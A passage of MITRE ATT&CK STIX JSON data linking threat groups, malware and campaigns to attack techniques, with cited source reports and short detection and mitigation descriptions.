Cleaver)","modified":"2022-07-22T18:37:22.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c7e778c-4193-44e5-85b4-ba7e7668455f","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","source_ref":"x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f","target_ref":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c812537-dfaf-40da-a71b-a49c18870b77","type":"relationship","created":"2017-05-31T21:33:27.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html","description":"Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.","source_name":"FireEye Operation Double Tap"}],"modified":"2019-04-29T18:01:20.688Z","description":"(Citation: FireEye Operation Double Tap)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"tool--c9703cd3-141c-43a0-a926-380082be5d04","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c8208ad-b295-4e39-a928-40fc49f68fb4","type":"relationship","created":"2019-06-04T13:43:04.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/","source_name":"Unit42 Xbash Sept 2018"}],"modified":"2019-06-28T15:15:54.581Z","description":"[Xbash](https://attack.mitre.org/software/S0341) has destroyed Linux-based databases as part of its ransomware capabilities.(Citation: Unit42 Xbash Sept 2018)\t","relationship_type":"uses","source_ref":"malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c831b13-8584-4eb2-9d53-e3507f2715f3","created":"2024-09-25T13:22:51.058Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Datadog S3 Lifecycle CloudTrail Logs","description":"Stratus Red Team. (n.d.). CloudTrail Logs Impairment Through S3 Lifecycle Rule. Retrieved September 25, 2024.","url":"https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-17T20:42:21.405Z","description":"Monitor for unexpected use of lifecycle policies. Where lifecycle policies are already in use, monitor for changes to cloud storage configurations and policies, such as buckets configured in the policy or unusually short retention periods. In AWS environments, monitor for `PutBucketLifecycle` events with a `requestParameters.LifecycleConfiguration.Rule.Expiration.Days` attribute below expected values.(Citation: Datadog S3 Lifecycle CloudTrail Logs)","relationship_type":"detects","source_ref":"x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c8634d8-21a1-46a5-a1fd-eaaff6eed7a6","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Sofacy Feb 2018","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"},{"source_name":"Cybersecurity Advisory GRU Brute Force Campaign July 2021","url":"https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF","description":"NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021."}],"modified":"2021-07-27T14:29:55.073Z","description":"(Citation: Unit 42 Sofacy Feb 2018)(Citation: Cybersecurity Advisory GRU Brute Force Campaign July 2021)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c868e1e-349e-4d3f-9033-0d5fee56e622","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft DLL Security","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c8951ff-5de9-4842-b889-0c439aa76e8f","type":"relationship","created":"2021-01-19T22:37:42.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T18:23:23.405Z","description":"[Raindrop](https://attack.mitre.org/software/S0565) used a custom packer for its [Cobalt Strike](https://attack.mitre.org/software/S0154) payload, which was compressed using the LZMA algorithm.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c8ce5e2-3a80-407e-9624-3619528df5fa","type":"relationship","created":"2020-03-15T16:16:25.878Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T16:16:25.878Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","target_ref":"attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c8df70b-fdbe-4ff4-bfee-a130b61e5df8","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. ","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c935a6d-dd69-4be3-bfed-56c01d0f9413","created":"2022-08-19T20:53:00.366Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Bumblebee August 2022","description":"Cybereason. (2022, August 17). Bumblebee Loader – The High Road to Enterprise Domain Control. Retrieved August 29, 2022.","url":"https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control"},{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Google EXOTIC LILY March 2022","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T21:50:55.250Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can use WMI to gather system information and to spawn processes for code injection.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Cybereason Bumblebee August 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c97ecdd-5195-4242-9007-380cc46ef384","type":"relationship","created":"2019-12-30T21:43:04.886Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-25T23:30:20.861Z","description":"Regularly check component software on critical services that adversaries may target for persistence to verify the integrity of the systems and identify if unexpected changes have been made. ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c9b32f8-f78d-4580-b183-676c7203286d","created":"2022-09-22T21:49:44.231Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:02:58.605Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used `dir c:\\\\` to search for files.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1c9d4988-d9ea-4dd5-aef1-adb0232e87a3","type":"relationship","created":"2020-11-16T21:16:42.788Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-16T21:16:42.788Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can decrypt its C2 address upon execution.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c9d5795-fa0d-4d01-815f-eef0e4d8b2b7","created":"2022-09-29T20:35:24.680Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T20:35:24.680Z","description":"(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1c9ee6d6-b619-469f-8a61-d8514dc2ee31","created":"2024-05-25T16:16:52.510Z","revoked":false,"external_references":[{"source_name":"Palo Alto Unit 42 OutSteel SaintBot February 2022 ","description":"Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-25T16:16:52.510Z","description":"[Saint Bear](https://attack.mitre.org/groups/G1031) gathered victim email information in advance of phishing operations for targeted attacks.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )","relationship_type":"uses","source_ref":"intrusion-set--674582ec-51c4-42ce-b409-797239e37a2a","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ca28941-562d-45e4-946c-518a2015c0dd","type":"relationship","created":"2020-06-19T19:08:40.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-06-19T19:08:40.390Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to enumerate running processes on a compromised host.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ca344f1-97fe-453c-9f12-86130ddcebbc","created":"2020-11-10T16:24:47.269Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk's Return October 2020","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020.","url":"https://thedfirreport.com/2020/10/08/ryuks-return/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.644Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used `cmd.exe` to execute commands on a victim's machine.(Citation: DFIR Ryuk's Return October 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ca66056-792e-4e19-8742-a782d87806e4","type":"relationship","created":"2021-04-13T20:27:51.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Recorded Future REDDELTA July 2020","url":"https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf","description":"Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP ‘REDDELTA’ TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:06:51.529Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has encrypted C2 communications with RC4.(Citation: Recorded Future REDDELTA July 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ca68d88-a287-4c48-a4f8-68611eceb445","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:16.672Z","description":"[RTM](https://attack.mitre.org/software/S0148) uses the command line and rundll32.exe to execute.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ca95660-87c1-42f9-bb5d-7435f7999c88","type":"relationship","created":"2020-01-30T19:59:18.946Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-30T19:59:18.946Z","relationship_type":"revoked-by","source_ref":"attack-pattern--c5e31fb5-fcbd-48a4-af8c-5a6ed5b932e5","target_ref":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ca96a8d-898b-4778-b3c3-3c80ccbb407f","type":"relationship","created":"2020-12-07T19:39:17.408Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-07T19:39:17.408Z","description":"[Crutch](https://attack.mitre.org/software/S0538) has conducted C2 communications with a Dropbox account using the HTTP API.(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"malware--925a6c52-5cf0-4fec-99de-b0d6917d8593","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1caa0b51-4e91-4c1b-bec5-53592ab9d08a","type":"relationship","created":"2020-08-04T19:13:49.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Sodinokibi July 2019","url":"https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html","description":"Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"Talos Sodinokibi April 2019","url":"https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html","description":"Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."},{"source_name":"Secureworks REvil September 2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}],"modified":"2020-08-05T19:18:46.739Z","description":"[REvil](https://attack.mitre.org/software/S0496) can use the Windows command line to delete volume shadow copies and disable recovery.(Citation: Cylance Sodinokibi July 2019)(Citation: Talos Sodinokibi April 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cabd067-2229-488f-a244-03aa087b7e54","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-30T01:06:25.111Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has received C2 instructions from user profiles created on legitimate websites such as Github and TechNet.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1cadb8d8-d569-4d02-9e0c-f20d71e37cda","created":"2022-10-13T14:16:00.838Z","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T14:16:00.838Z","description":"[PcShare](https://attack.mitre.org/software/S1050) has used HTTP for C2 communication.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"tool--3a53b207-aba2-4a2b-9cdb-273d633669e7","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cb54b2e-5f2d-4d1b-9fda-9b17f49de65b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.759Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) adds a sub-key under several Registry run keys.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1cbf5583-626a-4a24-bc59-f3b973752cee","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.444Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) uses rundll32.exe to load.(Citation: Volexity PowerDuke November 